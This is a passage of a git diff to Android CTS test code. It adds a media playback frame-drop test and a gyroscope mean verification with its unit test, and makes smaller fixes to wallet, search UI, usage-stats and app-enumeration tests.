+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.mediapc.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
+import android.view.Surface;
+
+import java.io.File;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+
+import static android.mediapc.cts.FrameDropTestBase.DECODE_31S;
+
+/**
+ * The following class calculates the frame drops for the given array of testFiles playback.
+ * It will do playback for at least 30 seconds worth of input data or for utmost 31 seconds.
+ * If input reaches eos, it will rewind the input to start position.
+ */
+public class PlaybackFrameDrop extends CodecDecoderTestBase {
+    private final String mDecoderName;
+    private final String[] mTestFiles;
+    private final int mEachFrameTimeIntervalUs;
+    private final boolean mIsAsync;
+
+    private int mFrameDropCount;
+    private ByteBuffer mBuffer;
+    private ArrayList<MediaCodec.BufferInfo> mBufferInfos;
+
+    private long mInputMaxPtsUs;
+    private long mRenderStartTimeUs;
+    private long mBasePts;
+    private long mMaxPts;
+    private long mDecodeStartTimeMs;
+    private int mSampleIndex;
+    private int mMaxNumFrames;
+
+    PlaybackFrameDrop(String mime, String decoderName, String[] testFiles, Surface surface,
+            int frameRate, boolean isAsync) {
+        super(mime, null);
+        mDecoderName = decoderName;
+        mTestFiles = testFiles;
+        mSurface = surface;
+        mEachFrameTimeIntervalUs = 1000000 / frameRate;
+        mIsAsync = isAsync;
+        mInputMaxPtsUs = 0;
+        mBasePts = 0;
+        mMaxPts = 0;
+        mSampleIndex = 0;
+        mFrameDropCount = 0;
+        // Decode for 30 seconds
+        mMaxNumFrames = frameRate * 30;
+        mBufferInfos = new ArrayList<>();
+    }
+
+    private MediaFormat createInputList(MediaFormat format, ByteBuffer buffer,
+            ArrayList<MediaCodec.BufferInfo> list, int offset, long ptsOffset) {
+        int csdBuffersSize = 0;
+        if (hasCSD(format)) {
+            MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
+            bufferInfo.offset = offset;
+            bufferInfo.size = 0;
+            bufferInfo.presentationTimeUs = 0;
+            bufferInfo.flags = MediaCodec.BUFFER_FLAG_CODEC_CONFIG;
+            for (int i = 0; ; i++) {
+                String csdKey = "csd-" + i;
+                if (format.containsKey(csdKey)) {
+                    ByteBuffer csdBuffer = format.getByteBuffer(csdKey);
+                    bufferInfo.size += csdBuffer.limit();
+                    buffer.put(csdBuffer);
+                    format.removeKey(csdKey);
+                } else break;
+            }
+            list.add(bufferInfo);
+            offset += bufferInfo.size;
+        }
+        while (true) {
+            MediaCodec.BufferInfo bufferInfo = new MediaCodec.BufferInfo();
+            bufferInfo.size = mExtractor.readSampleData(buffer, offset);
+            if (bufferInfo.size < 0) {
+                break;
+            }
+            bufferInfo.offset = offset;
+            bufferInfo.presentationTimeUs = ptsOffset + mExtractor.getSampleTime();
+            mInputMaxPtsUs = Math.max(mInputMaxPtsUs, bufferInfo.presentationTimeUs);
+            int flags = mExtractor.getSampleFlags();
+            bufferInfo.flags = 0;
+            if ((flags & MediaExtractor.SAMPLE_FLAG_SYNC) != 0) {
+                bufferInfo.flags |= MediaCodec.BUFFER_FLAG_KEY_FRAME;
+            }
+            list.add(bufferInfo);
+            mExtractor.advance();
+            offset += bufferInfo.size;
+        }
+        buffer.clear();
+        buffer.position(offset);
+        return format;
+    }
+
+    public ArrayList<MediaFormat> setUpSourceFiles() throws Exception {
+        ArrayList<MediaFormat> formats = new ArrayList<>();
+        for (String file : mTestFiles) {
+            formats.add(setUpSource(file));
+            mExtractor.release();
+        }
+        int totalSize = 0;
+        for (String srcFile : mTestFiles) {
+            File file = new File(mInpPrefix + srcFile);
+            totalSize += (int) file.length();
+        }
+        totalSize <<= 1;
+        long ptsOffset = 0;
+        int buffOffset = 0;
+        mBuffer = ByteBuffer.allocate(totalSize);
+        for (String file : mTestFiles) {
+            formats.add(createInputList(setUpSource(file), mBuffer, mBufferInfos, buffOffset,
+                    ptsOffset));
+            mExtractor.release();
+            ptsOffset = mInputMaxPtsUs + 1000000L;
+            buffOffset = (mBufferInfos.get(mBufferInfos.size() - 1).offset) +
+                    (mBufferInfos.get(mBufferInfos.size() - 1).size);
+        }
+        return formats;
+    }
+
+    public int getFrameDropCount() throws Exception {
+        ArrayList<MediaFormat> formats = setUpSourceFiles();
+        mCodec = MediaCodec.createByCodecName(mDecoderName);
+        configureCodec(formats.get(0), mIsAsync, false, false);
+        mCodec.start();
+        mDecodeStartTimeMs = System.currentTimeMillis();
+        doWork(Integer.MAX_VALUE);
+        queueEOS();
+        waitForAllOutputs();
+        mCodec.stop();
+        mCodec.release();
+        return mFrameDropCount;
+    }
+
+    @Override
+    void enqueueInput(int bufferIndex) {
+        if (mSampleIndex >= mBufferInfos.size() ||
+                // Decode for mMaxNumFrames samples or for utmost 31 seconds
+                mInputCount >= mMaxNumFrames ||
+                (System.currentTimeMillis() - mDecodeStartTimeMs > DECODE_31S)) {
+            enqueueEOS(bufferIndex);
+        } else {
+            MediaCodec.BufferInfo info = mBufferInfos.get(mSampleIndex++);
+            if (info.size > 0) {
+                ByteBuffer dstBuf = mCodec.getInputBuffer(bufferIndex);
+                dstBuf.put(mBuffer.array(), info.offset, info.size);
+                mInputCount++;
+            }
+            if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+                mSawInputEOS = true;
+            }
+            long pts = info.presentationTimeUs;
+            mMaxPts = Math.max(mMaxPts, mBasePts + pts);
+            mCodec.queueInputBuffer(bufferIndex, 0, info.size, mBasePts + pts, info.flags);
+            // If input reaches the end of samples, rewind to start position.
+            if (mSampleIndex == mBufferInfos.size()) {
+                mSampleIndex = 0;
+                mBasePts = mMaxPts + 1000000L;
+            }
+        }
+    }
+
+    private long getRenderTimeUs(int frameIndex) {
+        return mRenderStartTimeUs + frameIndex * mEachFrameTimeIntervalUs;
+    }
+
+    @Override
+    void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
+        if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+            mSawOutputEOS = true;
+        }
+        // We will limit the playback to 60 fps using the system timestamps.
+        long nowUs = System.nanoTime() / 1000;
+        if (mOutputCount == 0) {
+            mRenderStartTimeUs = nowUs;
+            mCodec.releaseOutputBuffer(bufferIndex, true);
+        } else if (nowUs > getRenderTimeUs(mOutputCount + 1)) {
+            // If the current sample timeStamp is greater than the actual presentation timeStamp
+            // of the next sample, we will consider it as a frame drop and don't render.
+            mFrameDropCount++;
+            mCodec.releaseOutputBuffer(bufferIndex, false);
+        } else if (nowUs > getRenderTimeUs(mOutputCount)) {
+            // If the current sample timeStamp is greater than the actual presentation timeStamp
+            // of the current sample, we can render it.
+            mCodec.releaseOutputBuffer(bufferIndex, true);
+        } else {
+            // If the current sample timestamp is less than the actual presentation timeStamp,
+            // We are okay with directly rendering the sample if we are less by not more than
+            // half of one sample duration. Otherwise we sleep for how much more we are less
+            // than the half of one sample duration.
+            if ((getRenderTimeUs(mOutputCount) - nowUs) > (mEachFrameTimeIntervalUs / 2)) {
+                try {
+                    Thread.sleep(((getRenderTimeUs(mOutputCount) - nowUs) -
+                            (mEachFrameTimeIntervalUs / 2)) / 1000);
+                } catch (InterruptedException e) {
+                    // Do nothing.
+                }
+            }
+            mCodec.releaseOutputBuffer(bufferIndex, true);
+        }
+        if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+            mOutputCount++;
+        }
+    }
+}
diff --git a/tests/mediapc/src/android/mediapc/cts/WorkDir.java b/tests/mediapc/src/android/mediapc/cts/WorkDir.java
index 7f93f43..d45c14b 100644
--- a/tests/mediapc/src/android/mediapc/cts/WorkDir.java
+++ b/tests/mediapc/src/android/mediapc/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsMediaPerformanceClassTestCases-1.0/");
+            return (getTopDirString() + "test/CtsMediaPerformanceClassTestCases-1.1/");
         }
     }
 }
diff --git a/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java b/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java
index bbadb72..6ca29ca 100755
--- a/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java
+++ b/tests/quickaccesswallet/src/android/quickaccesswallet/cts/QuickAccessWalletClientTest.java
@@ -66,6 +66,7 @@
 public class QuickAccessWalletClientTest {
 
     private static final String SETTING_KEY = "lockscreen_show_wallet";
+    private static String NFC_PAYMENT_DEFAULT_COMPONENT = "nfc_payment_default_component";
 
     private static final GetWalletCardsRequest GET_WALLET_CARDS_REQUEST =
             new GetWalletCardsRequest(700, 440, 64, 5);
@@ -79,10 +80,10 @@
     public void setUp() throws Exception {
         // Save current default payment app
         mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
-        mDefaultPaymentApp = SettingsUtils.get(Settings.Secure.NFC_PAYMENT_DEFAULT_COMPONENT);
+        mDefaultPaymentApp = SettingsUtils.get(NFC_PAYMENT_DEFAULT_COMPONENT);
         ComponentName component =
                 ComponentName.createRelative(mContext, TestHostApduService.class.getName());
-        SettingsUtils.syncSet(mContext, Settings.Secure.NFC_PAYMENT_DEFAULT_COMPONENT,
+        SettingsUtils.syncSet(mContext, NFC_PAYMENT_DEFAULT_COMPONENT,
                 component.flattenToString());
         TestQuickAccessWalletService.resetStaticFields();
     }
@@ -91,8 +92,7 @@
     public void tearDown() {
         // Restore saved default payment app
         ContentResolver cr = mContext.getContentResolver();
-        SettingsUtils.syncSet(mContext, Settings.Secure.NFC_PAYMENT_DEFAULT_COMPONENT,
-                mDefaultPaymentApp);
+        SettingsUtils.syncSet(mContext, NFC_PAYMENT_DEFAULT_COMPONENT, mDefaultPaymentApp);
 
         // Return all services to default state
         setServiceState(TestQuickAccessWalletService.class,
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
index a5f9ef1..0f46899 100644
--- a/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchActionTest.java
@@ -104,6 +104,7 @@
                 .setContentDescription(CONTENTDESCRIPTION)
                 .build();
         assertEverything(originalSearchAction);
+        assertNotNull(originalSearchAction.getIcon());
         final SearchAction clone = cloneThroughParcel(originalSearchAction);
         assertEverything(clone);
     }
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchTargetTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchTargetTest.java
index fe9ae67..23faa8e 100644
--- a/tests/searchui/src/android/searchuiservice/cts/SearchTargetTest.java
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchTargetTest.java
@@ -89,6 +89,7 @@
         assertThat(target.getSearchAction()).isEqualTo(SEARCH_ACTION);
         assertThat(target.getPackageName()).isEqualTo(PACKAGE_NAME);
         assertThat(target.getExtras().size()).isEqualTo(EXTRAS.size());
+        assertThat(target.isHidden()).isEqualTo(SHOULD_HIDE);
     }
 
     @Test
diff --git a/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java b/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java
index 784854c..bbcc329 100644
--- a/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java
+++ b/tests/searchui/src/android/searchuiservice/cts/SearchUiManagerTest.java
@@ -128,6 +128,18 @@
         assertTrue(equalBundles(mWatcher.searchContext.getExtras(), EXTRAS));
     }
 
+    @Test
+    public void testSearchContextCtor() {
+        SearchContext searchContext = new SearchContext(RESULT_TYPES, TIMEOUT_MS);
+        assertTrue(equalBundles(EXTRAS, searchContext.getExtras()));
+    }
+
+    @Test
+    public void testQueryCtor() {
+        Query query = new Query(QUERY_INPUT, QUERY_TIMESTAMP);
+        assertTrue(equalBundles(EXTRAS, query.getExtras()));
+    }
+
     public boolean equalBundles(Bundle one, Bundle two) {
         if(one.size() != two.size())
             return false;
diff --git a/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java b/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
index 17f5d07..41ba9d0 100644
--- a/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
+++ b/tests/sensor/src/android/hardware/cts/SensorBatchingTests.java
@@ -24,6 +24,7 @@
 import android.hardware.cts.helpers.sensoroperations.TestSensorOperation;
 import android.hardware.cts.helpers.sensorverification.EventBasicVerification;
 import android.hardware.cts.helpers.sensorverification.ISensorVerification;
+import android.hardware.cts.helpers.sensorverification.MeanLargerThanVerification;
 
 import java.util.concurrent.TimeUnit;
 
@@ -294,7 +295,12 @@
                         environment, TimeUnit.SECONDS.toMicros(testDurationSec)
                 )
         );
-
+        if (sensorType == Sensor.TYPE_GYROSCOPE_UNCALIBRATED) {
+            // Checks gyroscope uncalibrated should not have high pass filter.
+            operation.addVerification(
+                MeanLargerThanVerification.getDefault(environment)
+            );
+        }
         executeTest(environment, operation, false /* flushExpected */);
     }
 
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
index 597496e..366e148 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorCtsHelper.java
@@ -247,7 +247,7 @@
             sb.append("(");
         }
         for (int i = 0; i < array.length; i++) {
-            sb.append(String.format("%.2f", array[i]));
+            sb.append(String.format("%.8f", array[i]));
             if (i != array.length - 1) {
                 sb.append(", ");
             }
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java
new file mode 100644
index 0000000..189306b
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerification.java
@@ -0,0 +1,146 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers.sensorverification;
+
+import junit.framework.Assert;
+
+import android.hardware.Sensor;
+import android.hardware.cts.helpers.SensorCtsHelper;
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * A {@link ISensorVerification} which verifies that the any absolute means larger than the expected
+ * measurement.
+ */
+public class MeanLargerThanVerification extends AbstractMeanVerification {
+  public static final String PASSED_KEY = "mean_larger_than_passed";
+
+  // sensorType: {expected, threshold}
+  private static final Map<Integer, ExpectedValuesAndThresholds> DEFAULTS =
+      new HashMap<Integer, ExpectedValuesAndThresholds>(1);
+
+  static {
+    // Use a method so that the @deprecation warning can be set for that method only
+    setDefaults();
+  }
+
+  private final float[] mExpected;
+  private final float[] mThresholds;
+
+  /**
+   * Construct a {@link MeanLargerThanVerification}
+   *
+   * @param expected the expected values
+   * @param thresholds the thresholds
+   */
+  public MeanLargerThanVerification(float[] expected, float[] thresholds) {
+    mExpected = expected;
+    mThresholds = thresholds;
+  }
+
+  /**
+   * Get the default {@link MeanLargerThanVerification} for a sensor.
+   *
+   * @param environment the test environment
+   * @return the verification or null if the verification does not apply to the sensor.
+   */
+  public static MeanLargerThanVerification getDefault(TestSensorEnvironment environment) {
+
+    Map<Integer, ExpectedValuesAndThresholds> currentDefaults =
+        new HashMap<Integer, ExpectedValuesAndThresholds>(DEFAULTS);
+
+    int sensorType = environment.getSensor().getType();
+    if (!currentDefaults.containsKey(sensorType)) {
+      return null;
+    }
+    float[] expected = currentDefaults.get(sensorType).mExpectedValues;
+    float[] thresholds = currentDefaults.get(sensorType).mThresholds;
+    return new MeanLargerThanVerification(expected, thresholds);
+  }
+
+  /**
+   * Verify that the any absolute mean is larget than the expected value. Add {@value #PASSED_KEY}
+   * and {@value SensorStats#MEAN_KEY} keys to {@link SensorStats}.
+   *
+   * @throws AssertionError if the verification failed.
+   */
+  @Override
+  public void verify(TestSensorEnvironment environment, SensorStats stats) {
+    verify(stats);
+  }
+
+  /** Visible for unit tests only. */
+  void verify(SensorStats stats) {
+    if (getCount() < 1) {
+      stats.addValue(PASSED_KEY, true);
+      return;
+    }
+
+    float[] means = getMeans();
+    int meanSize = mExpected.length < means.length ? mExpected.length : means.length;
+    boolean failed = true;
+    for (int i = 0; i < meanSize; i++) {
+      if ((Math.abs(means[i]) >= mExpected[i] + mThresholds[i])) {
+        failed = false;
+      }
+    }
+
+    stats.addValue(PASSED_KEY, !failed);
+    stats.addValue(SensorStats.MEAN_KEY, means);
+
+    if (failed) {
+      Assert.fail(
+          String.format(
+              "Mean out of range: mean=%s (expected larger than %s +/- %s)",
+              SensorCtsHelper.formatFloatArray(means),
+              SensorCtsHelper.formatFloatArray(mExpected),
+              SensorCtsHelper.formatFloatArray(mThresholds)));
+    }
+  }
+
+  @Override
+  public MeanLargerThanVerification clone() {
+    return new MeanLargerThanVerification(mExpected, mThresholds);
+  }
+
+  @SuppressWarnings("deprecation")
+  private static void setDefaults() {
+    // Uncalibrated gyroscope X,Y,Z should be 0.0005 for a static device but allow a bigger
+    // threshold.
+    DEFAULTS.put(
+        Sensor.TYPE_GYROSCOPE_UNCALIBRATED,
+        new ExpectedValuesAndThresholds(
+            new float[] {0.0f, 0.0f, 0.0f},
+            new float[] {
+                0.0005f, /* rad / s */ 0.0005f, /* rad / s */ 0.0005f /* rad / s */
+            }));
+  }
+
+  private static final class ExpectedValuesAndThresholds {
+    private float[] mExpectedValues;
+    private float[] mThresholds;
+
+    private ExpectedValuesAndThresholds(float[] expectedValues, float[] thresholds) {
+      mExpectedValues = expectedValues;
+      mThresholds = thresholds;
+    }
+  }
+}
diff --git a/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerificationTest.java b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerificationTest.java
new file mode 100644
index 0000000..bb2ff32
--- /dev/null
+++ b/tests/sensor/src/android/hardware/cts/helpers/sensorverification/MeanLargerThanVerificationTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.cts.helpers.sensorverification;
+
+import junit.framework.TestCase;
+
+import android.hardware.cts.helpers.SensorStats;
+import android.hardware.cts.helpers.TestSensorEnvironment;
+import android.hardware.cts.helpers.TestSensorEvent;
+
+import java.util.ArrayList;
+import java.util.Collection;
+
+/** Tests for {@link MeanLargerThanVerification}. */
+public class MeanLargerThanVerificationTest extends TestCase {
+  private static final float[] MEANS = {2.0f, 1.7f, 3.0f};
+
+  /** Test {@link MeanLargerThanVerification#verify(TestSensorEnvironment, SensorStats)}. */
+  public void testVerify() {
+    float[][] values = {
+        {2, 1, 2},
+        {1, 1.5f, 2},
+        {3, 2.5f, 3},
+        {2, 1, 3},
+        {2, 2.5f, 5},
+    };
+
+    // Test the means all equal and larger than the expected + thresholds.
+    float[] expected = {2.0f, 1.7f, 2.5f};
+    float[] thresholds = {0.0f, 0.0f, 0.0f};
+    SensorStats stats = new SensorStats();
+    MeanLargerThanVerification verification = getVerification(expected, thresholds, values);
+    verification.verify(stats);
+    verifyStats(stats, true, MEANS);
+
+    // Test only one means is equal than the expected + thresholds.
+    expected = new float[] {2.5f, 1.5f, 3.5f};
+    thresholds = new float[] {0.0f, 0.2f, 0.0f};
+    stats = new SensorStats();
+    verification = getVerification(expected, thresholds, values);
+    verification.verify(stats);
+    verifyStats(stats, true, MEANS);
+
+    // Test only one means is equal than expected, thresholds is 0f.
+    expected = new float[] {2.5f, 2.0f, 3.0f};
+    thresholds = new float[] {0.0f, 0.0f, 0.0f};
+    stats = new SensorStats();
+    verification = getVerification(expected, thresholds, values);
+    verification.verify(stats);
+    verifyStats(stats, true, MEANS);
+
+    // Test all means is smaller than the expected + thresholds.
+    thresholds = new float[] {2.5f, 2.0f, 3.5f};
+    stats = new SensorStats();
+    verification = getVerification(expected, thresholds, values);
+    try {
+      verification.verify(stats);
+      throw new Error("Expected an AssertionError");
+    } catch (AssertionError e) {
+      // Expected;
+    }
+    verifyStats(stats, false, MEANS);
+  }
+
+  private static MeanLargerThanVerification getVerification(
+      float[] expected, float[] thresholds, float[]... values) {
+    Collection<TestSensorEvent> events = new ArrayList<>(values.length);
+    for (float[] value : values) {
+      events.add(new TestSensorEvent(null, 0, 0, value));
+    }
+    MeanLargerThanVerification verification =
+        new MeanLargerThanVerification(expected, thresholds);
+    verification.addSensorEvents(events);
+    return verification;
+  }
+
+  private void verifyStats(SensorStats stats, boolean passed, float[] means) {
+    assertEquals(passed, stats.getValue(MeanLargerThanVerification.PASSED_KEY));
+    float[] actual = (float[]) stats.getValue(SensorStats.MEAN_KEY);
+    assertEquals(means.length, actual.length);
+    for (int i = 0; i < means.length; i++) {
+      assertEquals(means[i], actual[i], 0.1);
+    }
+  }
+}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 51321b1..1aa05ef 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -284,15 +284,17 @@
         assertLessThan(startTime, lastTimeAnyComponentUsed);
         assertLessThan(lastTimeAnyComponentUsed, endTime);
 
-        final long lastDayAnyComponentUsedGlobal =
-                mUsageStatsManager.getLastTimeAnyComponentUsed(targetPackage) / DAY;
-        assertLessThanOrEqual(startTime / DAY, lastDayAnyComponentUsedGlobal);
-        assertLessThanOrEqual(lastDayAnyComponentUsedGlobal, endTime / DAY);
+        SystemUtil.runWithShellPermissionIdentity(()-> {
+            final long lastDayAnyComponentUsedGlobal =
+                    mUsageStatsManager.getLastTimeAnyComponentUsed(targetPackage) / DAY;
+            assertLessThanOrEqual(startTime / DAY, lastDayAnyComponentUsedGlobal);
+            assertLessThanOrEqual(lastDayAnyComponentUsedGlobal, endTime / DAY);
+        });
     }
 
     @AppModeFull(reason = "No usage events access in instant apps")
     @Test
-    public void testLastTimeAnyComponentUsed_JobServiceShouldBeIngnored() throws Exception {
+    public void testLastTimeAnyComponentUsed_JobServiceShouldBeIgnored() throws Exception {
         mUiDevice.wakeUp();
         dismissKeyguard(); // also want to start out with the keyguard dismissed.
 
@@ -309,10 +311,23 @@
             assertLessThanOrEqual(lastTimeAnyComponentUsed, startTime);
         }
 
-        final long lastDayAnyComponentUsedGlobal =
-                mUsageStatsManager.getLastTimeAnyComponentUsed(mTargetPackage) / DAY;
-        // Check that the usage is NOT detected.
-        assertLessThanOrEqual(lastDayAnyComponentUsedGlobal, startTime / DAY);
+        SystemUtil.runWithShellPermissionIdentity(()-> {
+            final long lastDayAnyComponentUsedGlobal =
+                    mUsageStatsManager.getLastTimeAnyComponentUsed(mTargetPackage) / DAY;
+            // Check that the usage is NOT detected.
+            assertLessThanOrEqual(lastDayAnyComponentUsedGlobal, startTime / DAY);
+        });
+    }
+
+    @AppModeFull(reason = "No usage events access in instant apps")
+    @Test
+    public void testLastTimeAnyComponentUsedGlobal_withoutPermission() throws Exception {
+        try{
+            mUsageStatsManager.getLastTimeAnyComponentUsed(mTargetPackage);
+            fail("Query across users should require INTERACT_ACROSS_USERS permission");
+        } catch (SecurityException se) {
+            // Expected
+        }
     }
 
     @AppModeFull(reason = "No usage events access in instant apps")
@@ -894,6 +909,8 @@
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
     public void testIsAppInactive() throws Exception {
+        assumeTrue("Test only works on devices with a battery", BatteryUtils.hasBattery());
+
         setStandByBucket(mTargetPackage, "rare");
 
         try {
@@ -939,6 +956,8 @@
     @AppModeFull(reason = "Test APK Activity not found when installed as an instant app")
     @Test
     public void testIsAppInactive_Charging() throws Exception {
+        assumeTrue("Test only works on devices with a battery", BatteryUtils.hasBattery());
+
         setStandByBucket(TEST_APP_PKG, "rare");
 
         try {
diff --git a/tests/tests/appenumeration/AndroidTest.xml b/tests/tests/appenumeration/AndroidTest.xml
index fbaac01..8bb21c0 100644
--- a/tests/tests/appenumeration/AndroidTest.xml
+++ b/tests/tests/appenumeration/AndroidTest.xml
@@ -51,7 +51,6 @@
         <option name="test-file-name" value="CtsAppEnumerationQueriesUnexportedProviderViaAuthority.apk" />
         <option name="test-file-name" value="CtsAppEnumerationQueriesUnexportedProviderViaAction.apk" />
         <option name="test-file-name" value="CtsAppEnumerationQueriesPackage.apk" />
-        <option name="test-file-name" value="CtsAppEnumerationQueriesPackageHasProvider.apk" />
         <option name="test-file-name" value="CtsAppEnumerationQueriesNothingTargetsQ.apk" />
         <option name="test-file-name" value="CtsAppEnumerationQueriesNothingHasPermission.apk" />
         <option name="test-file-name" value="CtsAppEnumerationQueriesNothingUsesLibrary.apk" />
diff --git a/tests/tests/appenumeration/app/source/Android.bp b/tests/tests/appenumeration/app/source/Android.bp
index 0583f10..deee2f4 100644
--- a/tests/tests/appenumeration/app/source/Android.bp
+++ b/tests/tests/appenumeration/app/source/Android.bp
@@ -167,17 +167,6 @@
 }
 
 android_test_helper_app {
-    name: "CtsAppEnumerationQueriesPackageHasProvider",
-    manifest: "AndroidManifest-queriesPackage-hasProvider.xml",
-    defaults: ["CtsAppEnumerationQueriesDefaults"],
-    // Tag this module as a cts test artifact
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
-}
-
-android_test_helper_app {
     name: "CtsAppEnumerationQueriesNothingTargetsQ",
     manifest: "AndroidManifest-queriesNothing-targetsQ.xml",
     defaults: ["CtsAppEnumerationQueriesDefaults"],
diff --git a/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage-hasProvider.xml b/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage-hasProvider.xml
deleted file mode 100644
index 3a473b3..0000000
--- a/tests/tests/appenumeration/app/source/AndroidManifest-queriesPackage-hasProvider.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-    Copyright (C) 2021 The Android Open Source Project
-
-    Licensed under the Apache License, Version 2.0 (the "License");
-    you may not use this file except in compliance with the License.
-    You may obtain a copy of the License at
-
-         http://www.apache.org/licenses/LICENSE-2.0
-
-    Unless required by applicable law or agreed to in writing, software
-    distributed under the License is distributed on an "AS IS" BASIS,
-    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-    See the License for the specific language governing permissions and
-    limitations under the License.
-  -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.appenumeration.queries.pkg.hasprovider">
-
-    <queries>
-        <package android:name="android.appenumeration.noapi" />
-    </queries>
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.appenumeration.cts.query.TestActivity"
-                  android:exported="true" />
-        <provider android:name="android.appenumeration.cts.query.TestProvider"
-                  android:authorities="android.appenumeration.queries.pkg.hasprovider"
-                  android:grantUriPermissions="true"
-                  android:exported="false" >
-        </provider>
-    </application>
-</manifest>
diff --git a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
index 040a0dd..bcbbc53 100644
--- a/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
+++ b/tests/tests/appenumeration/app/source/src/android/appenumeration/cts/query/TestActivity.java
@@ -95,6 +95,13 @@
 
     private final static long TIMEOUT_MS = 3000;
 
+    /**
+     * Extending the timeout time of non broadcast receivers, avoid not
+     * receiving callbacks in time on some common low-end platforms and
+     * do not affect the situation that callback can be received in advance.
+     */
+    private final static long EXTENDED_TIMEOUT_MS = 5000;
+
     SparseArray<RemoteCallback> callbacks = new SparseArray<>();
 
     private Handler mainHandler;
@@ -228,7 +235,7 @@
             } else if (Constants.ACTION_AWAIT_LAUNCHER_APPS_CALLBACK.equals(action)) {
                 final int expectedEventCode = intent.getBundleExtra(EXTRA_DATA)
                         .getInt(EXTRA_FLAGS, CALLBACK_EVENT_INVALID);
-                awaitLauncherAppsCallback(remoteCallback, expectedEventCode, TIMEOUT_MS);
+                awaitLauncherAppsCallback(remoteCallback, expectedEventCode, EXTENDED_TIMEOUT_MS);
             } else if (Constants.ACTION_GET_SHAREDLIBRARY_DEPENDENT_PACKAGES.equals(action)) {
                 final String sharedLibName = intent.getStringExtra(Intent.EXTRA_PACKAGE_NAME);
                 sendGetSharedLibraryDependentPackages(remoteCallback, sharedLibName);
@@ -243,13 +250,6 @@
             } else if (Constants.ACTION_GET_INSTALLED_ACCESSIBILITYSERVICES_PACKAGES.equals(
                     action)) {
